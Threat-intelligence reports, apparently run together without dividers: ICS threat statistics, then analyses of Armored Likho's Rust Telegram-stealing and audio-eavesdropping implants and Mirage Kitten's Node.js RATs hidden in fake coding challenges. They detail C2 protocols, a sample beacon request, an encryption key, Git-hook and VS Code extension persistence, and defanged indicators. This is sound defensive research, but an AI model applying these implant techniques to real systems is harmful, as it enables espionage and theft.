In Q2 2026, of all the threat sources, the percentage increased only for email.

Internet

The percentage of ICS computers on which threats from the internet were blocked decreased to 7.61%, reaching its lowest level since 2021.

Over the quarter, the percentage increased in three regions: East Asia by 0.8 pp (to 6.3%), South Asia by 0.3 pp (to 10.4%), and Russia by 0.3 pp (to 6.4%).

Among the selected industries across all regions, the highest percentage of ICS computers on which threats from the internet were blocked was in biometrics (13.03%) and engineering and ICS integration (12.16%) in South Asia.

Email

The percentage of ICS computers on which email threats were blocked increased to 2.84%.

In Q2 2026, the percentage of ICS computers on which email threats were blocked increased in South America by 1.0 pp (to 5.2%) and in Africa by 0.7 pp (to 4.3%).

Among the selected industries across all regions, the highest percentage of ICS computers on which email threats were blocked was in biometrics (19.14%) and building automation (12.49%) in Southern Europe.

Removable media

The percentage of ICS computers on which threats from removable media were blocked continued to decrease, reaching 0.24%, the lowest value for the period under review.

Among the selected industries across all regions, the highest percentage of ICS computers on which threats from removable media were blocked was in the electric power industry in East Asia (1.34%) and biometrics in Africa (1.29%).

Network folders

The percentage of ICS computers on which threats from network folders were blocked continued to decrease. In Q2 2026, it was the lowest for the period under review, at 0.023%.

The only region to see an increase in the percentage of ICS computers on which threats from network folders were blocked during the quarter was Africa. This was mainly due to an increase in the building automation figure to 0.05%.

Among the selected industries across all regions, the highest percentage of ICS computers on which threats from network folders were blocked was in biometrics (0.23%), building automation (0.17%), and engineering and ICS integration (0.13%) in East Asia.

For more information on industrial threats see the full version of the report.

In May 2026, we discovered a new cyber-espionage campaign by the Armored Likho group, also known as Eagle Werewolf, that targets private individuals and organizations across various industries in Russia, including major corporations, the public sector, IT, and education. The attackers used a fake app as bait that mimics a service for donations. However, the most interesting part of this campaign isn’t the initial infection method – it’s the malicious implants the attackers use for cyber-espionage.

We’ve written previously about recent Armored Likho attacks, but our analysis shows that the campaign discussed below has more in common with the group’s activity from February. That said, the attackers have significantly expanded their arsenal.

During our research, we found a new cyber-espionage toolkit written in Rust: the Still Toolkit. One of its components, Still Sync, steals Telegram session data to gain ongoing access to the victim’s account. With this stolen data, attackers can leverage the Telegram API to automatically pull chat logs, media files, and other information from the account.

The second component, Still Audio, is an implant for covert audio surveillance. It analyzes the incoming audio stream, automatically detects speech, records conversations, and sends the recordings to a command-and-control server.

In this article, we’ll look at the initial infection method, how the new Still Toolkit components are built, and the technical details of how they operate.

Kaspersky products detect this threat as Trojan.Win64.Agent.* and HEUR:Backdoor.Win32.Generic.

Background

Armored Likho’s malicious activity has been documented several times before: in November 2024, and in February and July 2026. The current campaign shows significant overlap with the November and February campaigns, which used malicious droppers disguised as documents and applications related to Starlink activation or fundraising efforts as the initial infection vector. This campaign also uses fundraising as its lure. At the same time, our research uncovered a number of new tools that point to the attackers expanding their capabilities.

Initial infection

The infection chain starts with an app that mimics a donation service. As of this writing, the app distribution method remains unknown. During our research, however, we obtained several samples posing as apps from different Russian foundations.

In reality, the app is a dropper. Its developers wrote it in Rust on top of the popular Tauri framework, and it has a graphical interface designed to deceive the user. After launch, it displays a login form that asks for a password, presumably one the attackers supplied.

After the user enters a valid password, they see a catalog of donatable items. The app pulls item and category information from orderapiserver[.]info through the public/categories and public/products endpoints. A clickable catalog makes the app look legitimate. While the user browses the items, the dropper quietly decrypts and launches the payload for the next stage in the background.

Our analysis shows that the mechanism for decrypting the payload and launching subsequent stages hasn’t changed since the February campaign. However, we found a new cyber-espionage toolkit – the Still Toolkit – made up of two components: Still Sync and Still Audio.

Still Sync

Still Sync is a stealer written in Rust that steals Telegram session data. However, its capabilities don’t stop there. With this stolen data, Sync can log in to the victim’s account and pull messages and media files through the Telegram API.

Architecturally, Sync is an asynchronous application based on the Tokio library. It talks to the server over gRPC and serializes messages with FlatBuffers. It supports both HTTP and HTTPS as transport protocols; the URL of the command-and-control server determines which one it uses.

How it works

When Sync launches, the attackers set several environment variables. Before starting any malicious activity, the implant pulls configuration parameters from these:

• STILL_SYNC_ADDR: the address of the command-and-control server. By default, this is https://tg4service[.]com:443.
• STILL_SEND_PATH: the path to the tdata
• STILL_TELEGRAM_PASSCODE: the password for decrypting the tdata folder, if Telegram data encryption is enabled on the victim’s device.

Sync also supports several command-line arguments:

• --console: runs as a console application. If this parameter is absent, the implant creates a TReload service to keep running in the background.
• --version: prints version information and exits.
• --firefly: launches a trace thread that monitors the program’s operation. It writes error messages to a hidden file, bin, located in the same folder as the main executable.
• --db: turns on debug mode with detailed logging.

Once it launches, the malware begins registering the device with the C2 server. To do this, Sync collects the following information about the victim’s system:

• Motherboard serial number
• CPU ID
• System UUID
• BIOS serial number
• Computer domain name

The malware combines the collected data into a single string with a colon as the separator. It then hashes that string with SHA-256 and stores the resulting hash under the key sysmarker. Worth noting: other Armored Likho tools, AquilaRAT included, use this same hashing algorithm.

Sync then serializes a package containing all the collected information and the agent version, and sends it in a POST request to /still.rpc.Sync/RegisterMachine. The response contains a machine_id value, which Sync uses to identify itself in subsequent requests.

Once registration succeeds, Sync sends a POST request with the machine_id parameter to /still.rpc.Sync/GetMachineSettings. The server responds with the following settings:

• enabled: triggers malicious activity on the infected device.
• scan_portable: turns on extended scanning when searching for the tdata We’ll cover this feature in more detail below.
• fetch_telegram: if this parameter is on, Sync attempts to log in to Telegram and extract data. We’ll cover this feature in more detail below.
• download_channels: if this parameter is off, Sync skips channel dialogs when exfiltrating Telegram data.

These parameters have no default values, so Sync doesn’t perform any malicious actions until the registration and settings-retrieval processes both complete successfully.

Telegram data collection

Before stealing a Telegram session, Sync searches for the tdata folder, unless the STILL_SEND_PATH variable is already set. The list of search paths includes both standard and nonstandard directories, if the scan_portable option is turned on:

• C:\Users\<username>\AppData\Roaming\Telegram Desktop\: the standard Telegram Desktop installation directory.
• C:\Users\<username>\AppData\Local\Packages\<package_folder>\LocalCache\Roaming\: the installation directory for the Microsoft Store version. Sync identifies the package folder by a name that contains the string TelegramMessenge.
• C:\: used for the extended search (if the scan_portable option is on).

Sync then sends a POST request with a list of files from the tdata folder to the /still.rpc.Sync/CheckFiles endpoint. The server responds with the following values:

• snapshot_id: an identifier the server assigns to the current data snapshot.
• present: a list of file paths that are already present on the server.

This lets the C2 server avoid re-receiving files it already has. In addition, if Sync can’t access files on disk through standard methods, it falls back on three mechanisms that abuse the SeBackupPrivilege privilege:

• Opening files with the CreateFileW function using the FILE_FLAG_BACKUP_SEMANTICS parameter
• Creating a backup copy through the Shadow Copy service and reading files from there
• If the previous methods all fail, attempting to copy the file using the Robocopy utility in backup mode

Beyond stealing Telegram session data, Sync can carry out full-scale collection of user information from the messaging app. When the fetch_telegram option is on, it launches a separate thread that authenticates to the chat app using the previously obtained tdata. Once authentication succeeds, Sync gains access to the account data and sends the following collected information to the server:

• User details, such as username, phone number, first and last name
• Information about private chats, groups, or channels, such as chat name and ID, the member list, and so on
• Dialogs from private chats, groups, and channels (if the download_channels option is on)
• Media files under 250MB: photos, documents, stickers, and contacts

Still Audio

Still Audio is an audio surveillance implant written in Rust. Its main job is to analyze the incoming audio stream and start recording voice when certain conditions are met – we’ll cover those in the next section. Architecturally, Still Audio largely mirrors Sync and uses the same mechanisms for communicating with the C2 server.

On launch, Still Audio performs a sequence of actions:

• It extracts libmp3lame.dll, a file stored inside the executable. This is a library used to encode audio data.
• If the --console command-line argument is absent, the implant creates a service named auxhost, connects to it, and continues running in the background.
• While running in the background, it creates a file, logfile.log, to write logs to.

Next, Still Audio retrieves the C2 server address. As with Sync, it stores the URL in an environment variable – in this case, STILL_AUDIO_SYNC_ADDR. If that variable isn’t set, it falls back to STILL_SYNC_ADDR, which shows the two modules are compatible with each other. If neither variable is set, it uses the default URL, https://srwinservice[.]com.

Still Audio also uses the Dead Drop Resolver technique as a fallback mechanism for obtaining the C2 address. If the current server stays unreachable for three days, the tool tries to pull the current C2 URL from a GitHub repository. In the sample under analysis, we found the following URL for the page containing C2 information: hxxps://raw.githubusercontent[.]com/mmarln/pi-mono/refs/heads/main/packages/pods/src/array12.json

The repository, a fork of a popular project, contains the server URL Base64-encoded and encrypted with the Blowfish algorithm in ECB mode, using the key 5c8e153228edd3c6cbf75684 (lowercase string). Older AquilaRAT samples use this exact same algorithm and key.

Once it obtains the current C2 address, the Audio module starts a registration process similar to Sync’s, but through a different endpoint:

/still.rpc.Audio/RegisterAudioMachine. Also, unlike Sync, Audio sends a list of available audio input devices along with the system information.

The server responds with settings for the implant:

• machine_id: a unique identifier for the current device.
• vad_threshold: the threshold value for the VAD (Voice Activity Detection) algorithm. Expressed as a decimal fraction, it represents a proportion of the maximum sound level the input device can pick up. Sound above this threshold counts as voice activity. The default vad_threshold is 02.
• max_silence_duration: the number of audio samples with a VAD value below the set threshold after which the implant considers the recording finished.
• max_buffer_size: the maximum buffer size for recorded audio data.
• active_device: the name of the input device selected for recording, from the list of available devices.

The eavesdropping process

Still Audio works with raw audio samples it captures directly from the input device. To detect voice activity, it implements an algorithm based on Root Mean Square (RMS), a lightweight signal-processing method that distinguishes speech from silence by measuring the audio signal’s average power over time. The implant doesn’t rely on any third-party libraries here; it implements all the calculations itself.

The implant compares the calculated RMS value against the vad_threshold parameter. If RMS meets or exceeds this threshold, recording starts. To avoid losing the beginning of the recording, Still Audio uses a pre-buffer, a size-limited buffer that stores samples from just before the current recording moment. A sequence of max_silence_duration samples (320 by default) with RMS values below the threshold signals the end of the recording. For example, with a standard headset running at a 44.1kHz sampling rate, recording stops after roughly 7ms of silence.

Interestingly, the Audio module makes no attempt to hide its use of the microphone: its name shows up in Windows settings. In the sample we examined, the file was saved to disk as IntAudio.exe, and it appeared in the list of apps using the microphone as “Intel Audio”:

Before sending recordings to the server, the implant uses the libmp3lame library to encode the raw audio samples. It sends the recording files via a POST request to /tgfrg, adding a Client-Id header containing the machine_id obtained during registration to identify the device.

Infrastructure

This campaign draws on a broad set of hosting providers and domains registered at different points in time, which suggests the attackers are trying to make their infrastructure harder to detect. We found no direct overlap in domains or IP addresses with the February campaign. Even so, the two infrastructures share some similarities:

• They use the same hosting providers, with the ASNs 149440, 202448, and 215311.
• Their domain names follow similar naming patterns that mimic Windows system services and update mechanisms.

Domain	IP address	Registration date	ASN
orderapiserver[.]info	187.127.153[.]38	April 18, 2026	47583
tg4service[.]com	159.198.37[.]74	October 4, 2025	22612
srwinservice[.]com	213.252.244[.]123	March 19, 2026	61272
screenserv[.]com	23.26.237[.]250	February 13, 2026	149440
windowserv[.]net	23.27.24[.]30	February 10, 2026	149440
managementapiservice[.]com	188.212.124[.]178	May 1, 2026	202448
service8date[.]com	145.223.69[.]143	January 13, 2026	215311
updateservs[.]com	145.223.68[.]66	December 23, 2025	215311

Victims

In this campaign, we’ve determined that the attackers’ primary targets are users in Russia. Most victims are private individuals, though the corporate sector, government organizations, IT companies, and educational institutions are also affected.

Attribution

This campaign has been using both new tools and malware families documented in BI.ZONE’s February report. While some components turned up for the first time, they show significant code-level overlap with malicious tools seen in earlier Armored Likho campaigns. Based on these overlaps, along with additional technical artifacts, we’re highly confident the Armored Likho group is behind the campaign. The overlaps we identified include:

• Identical dropper architecture in the February and current campaigns, which includes the use of the Tauri library to build the graphical interface, a similar user-input handler, a payload with the ICRYPTMP header, and the same multi-part encryption format.
• The same encryption algorithm and key used in AquilaRAT from the previous campaign and in the Still Audio module from the current campaign, both implementing the Dead Drop Resolver technique.
• Identical logic for generating the sysmarker value in older AquilaRAT samples and in the Still toolkit from the current campaign. The algorithms match down to the PowerShell commands used to collect system information.
• Substantial infrastructure overlap, which includes the hosting providers and domain-naming patterns described in the Infrastructure section.

Takeaways

The campaign described in this post shows Armored Likho’s toolkit evolving, with the group steadily expanding its cyber-espionage capabilities. Beyond the components we already knew about, the attackers rolled out new modules that let them not only access Telegram data but also conduct audio surveillance on victims. Together, these capabilities significantly widen the range of information attackers can collect in a single compromise.

One point deserves particular attention: the new tools form a cohesive set, sharing similar architecture, C2 communication mechanisms, and common implementation elements. This points to the group building out its own tool ecosystem, designed for long-term use and further expansion.

The emergence of new, specialized modules shows the attackers aren’t just trying to preserve their existing capabilities – they’re working to make intelligence-gathering more effective by controlling multiple communication channels at once.

Indicators of compromise

Additional information about this threat, indicators of compromise included, is available to customers of Kaspersky Threat Intelligence Reporting. Contact intelreports@kaspersky.com for more details.

File hashes
Droppers
C1D1EE16B92E6A138FFA048855F75D7D
17674B250D8B422A50A86C9FF207186D
62801F6223E860A7CCA271522E303B2D

Still Sync
68F0365D2FA8C828D012D8859E52A773
4BD7C352AE277B0E38D07BEEDD4DD507
D4BC09FB10EA2A5DC0BCBEEDA5E5AFDD

Still Audio
2CA8ADBAB98EBE305EACF272CF48F5A0
3AC41B097236A7723821848AE31EF141
439255736797BC88BD19F282449E0436

Domains
orderapiserver[.]info
tg4service[.]com
srwinservice[.]com
screenserv[.]com
windowserv[.]net
managementapiservice[.]com
service8date[.]com
updateservs[.]com

While monitoring Mirage Kitten activity, we uncovered a previously undocumented malware family that we dubbed NodeRabbit. We identified the first sample on a system in Afghanistan. Further threat hunting revealed two additional, more advanced, variants: one on a system in Egypt and another on a system in Ethiopia.

NodeRabbit is a cross-platform remote access trojan (RAT) built with Node.js. It targets Windows, Linux, and macOS. Its operators deliver it through spear-phishing messages on LinkedIn and other job search platforms that contain trojanized coding challenge archives.

During the same investigation, we discovered another previously undocumented malware family that we dubbed PollCat. Like NodeRabbit, PollCat is a cross-platform RAT, but it is written in obfuscated JavaScript also distributed through trojanized coding challenge archives.

Mirage Kitten has historically relied on native malware written in languages such as C, C++, and Go, often deploying it through DLL search-order hijacking. NodeRabbit and PollCat represent the first publicly documented use of Node.js- and JavaScript-based malware by this APT group.

Kaspersky’s products detect this threat as Trojan.JS.MirageKitten.*

Background

During recent threat research, we detected suspicious activity on a system in Afghanistan. We traced it to an archive containing a software development project that the user may have received during a job application process. The archive purported to contain a coding challenge for candidates applying for an engineering role.

The archive, Front-Technical-Challenge.zip (MD5: 1EA83E4E4592B01E4ACAB63EB867BEE5), was hosted in an Amazon S3 bucket at: https://oracle-challenge.s3[.]us-east-1.amazonaws[.]com/Front-Technical-Challenge.zip

It contained TaskFlow, an app for software engineering assessment built with Express, React, and Vite. The accompanying README instructed the candidate to review the application and fix defects in its frontend. It also claimed that server.js was bug-free and should not be modified, conveniently directing attention away from the only application source file the attackers had altered.

The README also imposed a three-hour time limit and prohibited the use of AI assistants. Notably, an AI code-review assistant tasked with auditing the project would likely have flagged the suspicious first-line import of an unknown npm package and warned the targeted developer that the project was trojanized.

The first line of server.js imported a trojanized npm package named colorized_terminal, version 2.1.0. The attackers bundled the package directly in the challenge task archive’s node_modules directory rather than publishing it to the npm registry. When imported, the package silently launched an implant from node_modules/.cache/.320697f1/index.js as a detached background process.

Retrospective threat hunting across our telemetry revealed the broader scope of the campaign. We identified three NodeRabbit variants with a shared code lineage; each was recovered from a system in a different country. The operators delivered the variants through similarly themed coding challenges and used two trojanized packages, colorized_terminal and pretty-log, both pinned to version 2.1.0.

The campaign also delivered PollCat, a second RAT with a substantially different structure, through a separate coding challenge lure. We’ll analyze PollCat later in this research.

Initial access

The infection chain begins with fake recruiter accounts contacting prospective targets on a job search platform. According to a publicly cited source, a threat actor posing as a talent acquisition specialist at a major technology company contacted a software engineer and advertised a job opening, inviting the target to complete a technical assessment.

The target received a link to a coding challenge hosted on Amazon S3 and was pressured to download and run the project immediately. This public post matches the delivery chain we reconstructed from our telemetry: recruiter outreach on a job search platform, a coding challenge presented as a technical assessment, and a trojanized project archive hosted on legitimate cloud infrastructure.

NodeRabbit RAT: the first variant

We discovered the first NodeRabbit variant on a system in Afghanistan. The malware was concealed within the TaskFlow assessment at node_modules/.cache/.320697f1/index.js and executed by the trojanized colorized_terminal package.

Once running, NodeRabbit generates a unique agent identifier from available host information. It calculates the SHA-256 hash of the hostname, username, operating system version, architecture, and MAC address, then truncates the result to its first 32 hexadecimal characters.

NodeRabbit binds a TCP listener to 127.0.0.1:48739. This listener acts as a single-instance mechanism. If the malware cannot bind to the port, it assumes that another instance is already running and terminates silently.

NodeRabbit uses a persistence mechanism for each operating system:

Operating system	Persistence mechanism
Windows	Copies itself to %APPDATA%\Microsoft\EdgeUpdate\msedge_update.js; clones the local node.exe to nodew.exe in the same folder and patches its PE subsystem from Console to Windows GUI to suppress the console window; creates HKCU\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftEdgeUpdate registry key executing nodew.exe msedge_update.js
Linux	Copies itself to ~/.config/microsoft-edge-update/msedge_update.js and creates an @reboot cron entry that invokes the script using the current Node.js executable.
macOS	Copies itself to ~/.config/microsoft-edge-update, creates ~/Library/LaunchAgents/com.microsoft.edgeupdate.plist configuration file pointing at the copy’s location with RunAtLoad and KeepAlive parameters, and attempts to load it.

The malware communicates with its command-and-control servers through three API endpoints, choosing from the following Azure-hosted C2 infrastructure addresses. On failure, it switches to the next C2 address:

1.	https://plugplay.azurewebsites[.]net
2.	https://Rgbteller.azurewebsites[.]net
3.	https://Wslwebui.azurewebsites[.]net

Method	Endpoint	Purpose
POST	/api/rabbit/checkin	Register agent and host info
POST	/api/rabbit/task	Poll for commands
POST	/api/rabbit/result	Submit results

NodeRabbit serializes each C2 request object as JSON and wraps it with AES-256-GCM. The AES key is the SHA-256 digest of an ASCII seed embedded into the agent. Every request uses a fresh 12-byte IV and a 16-byte authentication tag:

The malware sends encrypted requests using the following structure:

{
  "d": "base64(IV || ciphertext || authentication_tag)",
  "_r": "8 hexadecimal characters",
  "_t": "epoch timestamp"
}

C2 responses are structured the same way and may contain a command to execute. We observed the first NodeRabbit variant supporting 11 commands:

Command	Functionality
sys:info	Return hostname, domain user information, username, and process ID.
proc:list	List running processes.
proc:start	Execute an arbitrary shell command.
fs:list	List a directory.
fs:read	Read a file in chunks and return Base64 data.
fs:write	Decode Base64 and write it at a chosen file offset.
fs:delete	Delete a file or recursively delete a directory.
fs:mkdir	Create directories recursively.
net:config	Enumerate adapters, MAC addresses, IP addresses, and DNS settings.
agent:sleep	Change the beacon interval.
script:exec	Write a base64 Node.js script to a randomly named .tmp file, execute it and delete it.

NodeRabbit RAT: the second variant

Retrospective threat hunting following the discovery in Afghanistan led us to a second infection on a system in Egypt. This sample is a more advanced NodeRabbit variant, launched through the trojanized pretty-log package instead of colorized_terminal.

Before running its core functionality, the malware checks whether the host resembles an analysis environment. It terminates if it detects limited system memory, a low CPU count, short system uptime, analyst-associated usernames or hostnames, or common analysis tools running on the system.

Before terminating, the malware generates benign HEAD requests to www.google.com, www.microsoft.com, and www.cloudflare.com, then exits without ever contacting its C2 infrastructure. Most likely, it attempts to look less suspicious by showing some benign activity before exiting.

Variant 2 implements partial corporate proxy support: it checks HTTP(S) proxy environment variables, Windows Internet Settings, including an explicit PAC URL, and WinHTTP configuration; tunnels its HTTPS C2 through HTTP CONNECT. It first tries to establish an unauthenticated connection. If it fails, it retries using URL-embedded basic credentials. Finally, it delegates Windows NTLM/Negotiate challenges to curl.exe --proxy-anyauth --proxy-user. It caches the proxy-discovery result, including when no proxy is found, for five minutes. If the polling loop detects a network-interface or IP-address change, it clears the cache and runs proxy discovery again on the next checkin.

To make sure a single instance is running, Variant 2 uses a host-specific port derived from the agent identifier instead of the fixed TCP port used by the first variant. It interprets the first four hexadecimal characters of the identifier as an integer and applies the following calculation: 41984 + (value mod 5000).

The resulting listener port falls between 41984 and 46983. Unlike the shared port used by Variant 1, this port varies depending on the infected host.

For persistence, Variant 2 masquerades as Intel Driver & Support Assistant. The exact persistence mechanism, once again, depends on the operating system.

Operating system	Persistence mechanism
Windows	Copies itself to %LOCALAPPDATA%\Intel\DSA\idriver_support.js. It then copies the local node.exe binary to IntelDSA.exe and changes its PE subsystem from Console to Windows GUI, suppressing the console window. Finally, it creates a scheduled task named IntelDriverSupportUpdate, which runs daily at 10AM and executes IntelDSA.exe with the dropped script.
Linux	Copies itself to ~/.config/intel-dsa/idriver_support.js and creates an @reboot cron entry.
macOS	Copies itself to ~/Library/Application Support/Intel DSA/idriver_support.js and creates the LaunchAgent com.intel.dsa.helper with RunAtLoad and KeepAlive enabled.

NodeRabbit RAT: the third variant

Further threat hunting identified a third NodeRabbit variant on a system in Ethiopia. Like the second variant, it is launched through the trojanized pretty-log package. It retains much of the previous variant’s functionality but introduces significant changes to its command-and-control configuration, command set, and persistence mechanisms.

The third variant communicates with its C2 infrastructure through a different set of API endpoints:

Method	Endpoint	Purpose
POST	/sdk/v2/ready	Register agent and host info
POST	/sdk/v2/config	Poll for commands
POST	/sdk/v2/events	Submit results

We observed the malware using a C2 chain composed of Azure- and Cloudflare-hosted domains.

1.	https://visitfinancedentists[.]com
2.	https://kyrasey-f8hfexa5cqamh7fk.westeurope-01.azurewebsites[.]net
3.	https://healthcomfsdpower[.]com

For persistence, Variant 3 implements the following mechanisms depending on the operating system in use:

Operating system	Persistence mechanism
Windows	Attempts to copy the payload to ProgramData or LocalAppData, create a build-specific daily 10AM task, and start the copied payload. To choose the exact directory, it tries to list C:\Windows\System32\config. If successful, it selects ProgramData with /ru SYSTEM /rl highest; in case of a failure, it selects LocalAppData without explicit /ru or /rl settings.
macOS	Copies the payload to ~/Library/Application Support, creates and loads a RunAtLoad/KeepAlive LaunchAgent and starts the copied payload.
Linux	Copies the payload to ~/.local/share, attempts to add an @reboot cron entry, and starts the copied payload. If crontab -l fails, persistence is skipped.
WSL	Uses the payload copied for persistence on the main Linux system, as described above. Writes launcher.vbs under the Windows user profile, and creates a daily 10AM Windows task that relaunches it through wscript.exe and wsl.exe.

A new command, agent:servers, replaces the active in-memory C2 server list and can write the updated list to .sv.json. The third variant retains the original 11 commands and adds 12 new ones, bringing the total to 23.

New commands	Functionality
fs:drives	Enumerate accessible Windows drive letters or WSL-mounted drives
proc:exec	Execute a process
proc:kill	Kill process by PID or image name
agent:servers	Replace the active C2 and attempt to keep the new configuration
agent:getchain	Return the current C2
outlook:emails	Harvest account addresses from Outlook OST and PST artifacts
persist:check	Check selected VS Code, scheduled-task, and Run-key persistence indicators
persist:vscode	Attempt to install a fake VS Code extension and Windows Run value
persist:vscode:remove	Remove the fake extension
persist:projects:scan	Search recent and common development locations for Git repositories
persist:project:inject	Inject a launcher into a repository’s Git hooks
persist:project:remove	Remove the marked Git-hook launcher

Beyond the persistence mechanisms described above, Variant 3 introduces two additional persistence mechanisms that relaunch the malware through common developer workflows.

1. Malicious VS Code extension

The persist:vscode command first copies the payload to its build-specific install path. If a compatible extension directory exists, it creates a fake extension displayed as GitHub Copilot Helper, with the description AI coding assistant helper service and the activation event on StartupFinished.

The extension’s extension.js file attempts to start the installed payload as a detached Node.js process. To look less suspicious to the user, it uses a trusted publisher name borrowed from local extension metadata or a trustedPublishers value found in state.vscdb. However, no signature or trusted status is copied.

Separately, the handler tries to disable Workspace Trust if the VS Code User directory exists. On Windows, it attempts to establish persistence using a current-user Run registry key value even if the extension directory is missing.

2. Git hook injection

Git-hook persistence works in two steps. First, persist:projects:scan checks recent VS Code workspace paths directly. Under common locations such as ~/projects and ~/source, it checks only the first 60 immediate children, not the root itself, and returns no more than 20 repositories.

For a selected repository, persist:project:inject appends a marked launcher to .git/hooks/post-merge and .git/hooks/post-checkout by default. The marker is # shepherd-persist; the line following the marker attempts to start the installed payload with Node in the background. A later Git operation must trigger one of those hooks, and the referenced Node executable and payload must still exist.

PollCat RAT

While tracking NodeRabbit infections, we discovered another malicious tool we dubbed PollCat, which is also distributed under the guise of a programming challenge. The sample we obtained resides inside RankChallenge-react, a React code-fixing challenge presented as a time-limited developer assessment. Running the project invokes npm i && node index.js, which starts the local application and attempts to open the challenge in the user’s browser.

Although the visible exercise is not a security CTF, the project uses CTF terminology in several places. The root package is named ctf-server, the backend prints CTF server running, the frontend uses several ctf-* storage keys, and the tutorial refers to path/to/ctf. These repeated labels, together with instructions that do not fully match the delivered application, are consistent with an AI-assisted or template-generated project. One possible explanation is that the attacker prompted an AI coding assistant to create a CTF-style React platform and later inserted the malicious components.

The PDF tutorial contained in the same archive as the project tells the target to click Continue, enter a six-digit OTP code, and complete the challenge within a one-hour session. It states that codes are supplied by the recruiter, are single-use, and expire quickly; the visible login page also claims that codes rotate every 30 seconds. In the delivery scenario described by the investigation, the threat actor posing as a recruiter could provide the code directly to the targeted developer. This gives the operator control over access to the lure, while the expiring code and countdown create a sense of urgency, pressuring the target to run the project and complete the assessment quickly, potentially accelerating the infection process.

One-hour session window enforced by the trojanized coding challenge

The bundled .env file contains the JWT signing secret, OTP service URL, and OTP client ID.

Configuration embedded in .env file of the trojanized coding project, including the OTP service URL and client identifier

The application forwards submitted codes to an attacker-managed domain registered in late June-2026: https://lifespotify[.]com/api/users/b879746e-fed9-4211-a6da-4d8223681267/otp/validate.

That said, PollCat starts independently of the OTP authentication process. During application startup, app.js loads requireAuth.js, which imports and immediately starts the malicious requireObjects.js component. PollCat can therefore begin C2 registration and command polling while the application is still loading, before the user enters an access code.

A failed OTP validation prevents the user from accessing the protected challenge features, but PollCat continues running in the background. A successful OTP validation issues a JWT and creates another worker that starts an additional PollCat instance. The first authenticated request also triggers the persistence attempt.

Persistence starts when the first request carrying a valid JWT reaches the protected middleware. PollCat then uses one of the following methods:

Operation system	Persistence mechanism
Windows	Writes package.json and requireObject.js to %APPDATA%\Microsoft\Network, runs npm install, and creates a daily task named NetSync_<username> and scheduled for 09AM that runs the worker with Node.js.
Linux	Writes the worker to ~/.node_packages, runs npm i, and appends both a daily 09AM cron line and an @reboot line.
macOS	Uses the same ~/.node_packages copy and cron path, then creates and loads ~/Library/LaunchAgents/com.harsh.requireobject.plist with RunAtLoad and a daily 09AM trigger.

Once active, PollCat identifies the host as 129--<hostname> and iterates over the following C2s until registration succeeds:

1.	https://sahi-finance[.]com
2.	https://GamebarAppinformation[.]azurewebsites[.]net
3.	https://GamebarApp[.]azurewebsites[.]net

To register, it sends the following HTTP request to the C2:

POST /beacon HTTP/1.1
Host: <c2-host>
Content-Type: application/json

{"clientId":"<client-id>","type":"poll","pcName":"<hostname>","userName":"<username>"}

On successful registration, PollCat expects an unusual HTTP 400 response containing a socket identifier and optional timing values:

HTTP/1.1 400
Content-Type: application/json

{"socketId":"<socket-id>","pollInterval":<poll-interval-ms>,"jitterTime":<jitter-ms>}

After registration, PollCat sends host information to /gate/hello, polls /gate/fetch for commands, and returns results through /gate/submit. All endpoints in use are presented in the table below.

Method	Endpoint	Purpose
POST	/beacon	Register the client and obtain a socketId and optional timing values.
POST	/gate/hello	Submit host, user, domain, OS information, and its current privilege level.
GET	/gate/fetch?token=<socketId>	Poll for commands.
POST	/gate/submit	Submit a Base64-encoded command-result structure.
GET	/vault/<uuid>	Retrieve a hosted file and write it to the victim machine.
PUT	/vault/push/	Upload a local file or file chunk to the C2.
POST	/gate/track	Report chunk-upload progress.

By default, PollCat RAT polls every two minutes with up to five seconds of jitter. Commands and results are stored as little-endian binary records and carried as Base64 text.

PollCat RAT declares 22 commands, but three of them have no implementation:

Command	Functionality
0x02 (DIR)	List a directory.
0x03 (MV)	Move a file or directory.
0x04 (RUN)	Execute a shell command.
0x05 (TASKLIST)	List running processes.
0x06 (DEL)	Delete a file or directory.
0x07 (UPLOAD)	Download a file from the C2 to the victim’s machine.
0x08 (DOWNLOAD)	Upload a local file to the C2.
0X09 (DRIVES)	List drives, volumes, or mount points.
0X0A (TERMINATE)	Terminate a process by PID.
0X0B (RUNDLL)	Load a DLL and call an exported function on Windows.
0X0C (MKDIR)	Create a directory.
0X0D (ZIP)	Create or extract a ZIP archive.
0X0E (CHUNKED_DOWNLOAD)	Upload a local file in chunks.
0X0F (RUN_HIDDEN)	Start a hidden background process.
0X20 (EVAL_JS)	Execute JavaScript supplied by the C2.
0X30 (SYSTEM_CHECK)	Collect process and software inventory.
0XA1 (WS_DOWNLOAD)	Defined but not implemented.
0xB0 (REQUEST_ELEVATION)	Defined but not implemented.
0XB1 (PERSIST)	Defined but not implemented.
0xF0 (SET_SLEEP_TIME)	Change the polling interval.
0XF1 (SET_IDLE_TIME)	Store an idle-time value.
0xF2 (SET_JITTER_TIME)	Change polling jitter.

The command names UPLOAD, DOWNLOAD, and CHUNKED_DOWNLOAD are written from the C2’s perspective. UPLOAD sends a C2-hosted file to the victim’s machine, while the two download commands transfer victim files back to the C2.

EVAL_JS runs JavaScript supplied by the C2 and gives that code access to Node.js modules, files, processes, networking, and child-process functions.
SYSTEM_CHECK collects the names of running processes and lists files and folders from:

• %SystemDrive%\Program Files
• %SystemDrive%\Program Files (x86)
• %LOCALAPPDATA%
• %LOCALAPPDATA%\Programs
• %APPDATA%
• %USERPROFILE%
• %APPDATA%\Microsoft\Outlook
• %LOCALAPPDATA%\Microsoft\Olk\Attachments
• %USERPROFILE%\Documents

It also searches for folders matching 24 hardcoded strings corresponding to security software vendor names: ‘Google’, ‘Microsoft’, ‘Palo Alto Networks’, ‘Cisco’, ‘VMware’, ‘Fortinet’, ‘Citrix’, ‘CheckPoint’, ‘Juniper Networks’, ‘LogMeIn’, ‘Sophos’, ‘Symantec’, ‘Trend Micro’, ‘McAfee’, ‘Kaspersky Lab’, ‘ESET’, ‘Bitdefender’, ‘Avast Software’, ‘CrowdStrike’, ‘SentinelOne’, ‘Malwarebytes’, ‘BraveSoftware’, ‘Tencent’, and ‘Naver’.

When PollCat finds a matching folder, it lists that folder’s root contents. It does not recursively scan the entire product directory. The detailed inventory, including process names, directory listings, and collected paths, is sent as JSON to POST /api/system-details/result.

Infrastructure

Mirage Kitten continues to rely on Azure Websites and Cloudflare-backed domains to hinder infrastructure discovery and tracking. More importantly, the use of Microsoft Azure subdomains for C2 helps the traffic blend into legitimate organizational network activity. In some cases that we encountered during our research, the actors even incorporated the targeted organization’s name into the Azure subdomain, making C2 communications appear more like normal business traffic originating from an employee machine during regular business days.

Domain	Registrar	ASN	Malware sample
